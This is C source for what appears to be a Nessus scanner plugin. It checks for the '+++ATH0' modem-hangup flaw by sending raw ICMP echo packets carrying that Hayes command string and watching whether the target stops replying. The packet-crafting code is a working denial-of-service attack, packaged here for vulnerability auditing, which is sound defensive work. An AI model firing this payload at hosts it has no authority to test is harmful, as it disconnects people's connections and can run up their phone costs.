/*
 * This plugin has been written by Renaud Deraison and
 * is distributed under the GPL
 */

#include <includes.h>
#ifdef HAVE_NETINET_IP_H
#include <netinet/ip.h>
#endif
#ifdef HAVE_NETINET_IP_ICMP_H
#include <netinet/ip_icmp.h>
#endif
#include "icmp.h"


#define NAME "+ + + ATH0 modem hangup"
#define DESC "\
Most modems today follow the Hayes Command set (ATZ, ATDT, ATH0..)\n\
Unfortunately the way that these modems handle certain strings leaves\n\
them susceptible to a specific type of DoS attack.  By forcing the victim\n\
to respond with the string \"+ + +ATH0\" (without the spaces) many brands of\n\
modems will interpret the + + +ATH0 as the user manually attempting to\n\
enter command mode and execute a command.  Because of this, when the victim\n\
attempts to respond with the + + +ATH0 the modem sees it within the IP\n\
datagram and hangs up the modem.\n\
It is also possible to make a remote modem hangup and then dial another\n\
number, forcing its owner to loose money\n\
Risk factor : medium"

#define COPYRIGHT "made after the bugtraq article of Max Schau (Noc-Wage) <wage@IDIRECT.CA>"
#define SUMM "makes a modem hangup"



/*
 * Checksum routine for Internet Protocol family headers (C Version)
 * From ping examples in W.Richard Stevens "UNIX NETWORK PROGRAMMING" book.
 */
int in_cksum(p,n)
u_short *p; int n;
{
  register u_short answer;
  register long sum = 0;
  u_short odd_byte = 0;

  while( n > 1 )  { sum += *p++; n -= 2; }

  /* mop up an odd byte, if necessary */
  if( n == 1 ) {
      *(u_char *)(&odd_byte) = *(u_char *)p;
      sum += odd_byte;
  }

  sum = (sum >> 16) + (sum & 0xffff);	/* add hi 16 to low 16 */
  sum += (sum >> 16);			/* add carry */
  answer = (int)~sum;			/* ones-complement, truncate*/
  return (answer);
}

int ping_host(struct arglist *  env, char * data)
{
 int soc;
 struct in_addr addr, *p_addr;
 char * buf;
 struct ip *ip;
 struct icmp *icmp;
 struct protoent * ip_proto;
 struct timeval tv;
#ifndef NESSUSNT
 struct timezone tz;
#endif
 int len;
 struct sockaddr_in saddr;
 unsigned char * c_addr;
 int count = 1;
 int max_to = 3;
 int ok = 0;
 
 bzero(&saddr, sizeof(struct sockaddr_in));
 p_addr = plug_get_host_ip(env);
 addr = *p_addr;
 c_addr = (unsigned char *)&(addr.s_addr);
 ip_proto = getprotobyname("icmp");
 if(!ip_proto)return(1);
  
 soc = socket(AF_INET, SOCK_RAW, ip_proto->p_proto);
 if(soc < 0 )return(1);
 while(max_to && !ok)
 {
  fd_set r,w;
  int n;
  buf = (char*)emalloc(32+strlen(data));
  icmp = (struct icmp *)buf;
#ifndef NESSUSNT
  gettimeofday(&tv, &tz);
#endif
  icmp->icmp_type = ICMP_ECHO;
  icmp->icmp_code = 0;
  icmp->icmp_cksum = 0;
  icmp->icmp_seq = 1;
  SET_ICMP_LIFETIME(*icmp, 1024);
  icmp->icmp_id = getpid() & 0xFFFF;


  bcopy(data, &buf[8], strlen(data));
  len = 8 + strlen(data);
  saddr.sin_family = AF_INET;
  saddr.sin_addr = addr;
  saddr.sin_port = 0;
  icmp->icmp_cksum = in_cksum((u_short *)icmp,len);
  sendto(soc, buf, len, 0, (struct sockaddr *)(&saddr), sizeof(struct sockaddr_in));
  sendto(soc, buf, len, 0, (struct sockaddr *)(&saddr), sizeof(struct sockaddr_in));
  sendto(soc, buf, len, 0, (struct sockaddr *)(&saddr), sizeof(struct sockaddr_in));
  free(buf);
  
  FD_ZERO(&r);
  FD_ZERO(&w);
#ifndef NESSUSNT  
  tv.tv_sec = 3;
  tv.tv_usec = 0;
#endif
  FD_SET(soc, &r);
  n = select(soc+1, &r, &w, NULL, &tv);
  if(n>0)
  {
   int slen = sizeof(struct sockaddr);
   buf = malloc(4096);
   bzero(buf, 4096);
   ip  = (struct ip *)buf;
   bzero(&saddr, sizeof(struct sockaddr_in));
   recvfrom(soc, buf, 4096, 0, (struct sockaddr *)&saddr, &slen);
   icmp = (struct icmp *)(buf + (ip->ip_hl << 2));
   if((icmp->icmp_type == ICMP_ECHOREPLY)&&
      (icmp->icmp_id == (getpid() & 0xFFFF)))
	  ok = 1;
   free(buf);
   }
   else max_to--;
  }
  shutdown(soc, 2);
  close(soc);
  return(ok);
}
PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
  plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_DENIAL);
	plug_set_family(desc, "Denial of Service");
	return(0);
}

PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
  if(ping_host(args, "none") && !ping_host(args, "+++ATH0\n"))
   post_hole(args, -1, "\
It was possible to make the remote modem hangup\n\
by forcing the remote computer to reply to an\n\
icmp echo packet containing the string \"+ + + ATH0\"\n\
(without the spaces)\n\
Solution : add 'ATS2=255' in the init string of the remote\n\
modem");


}
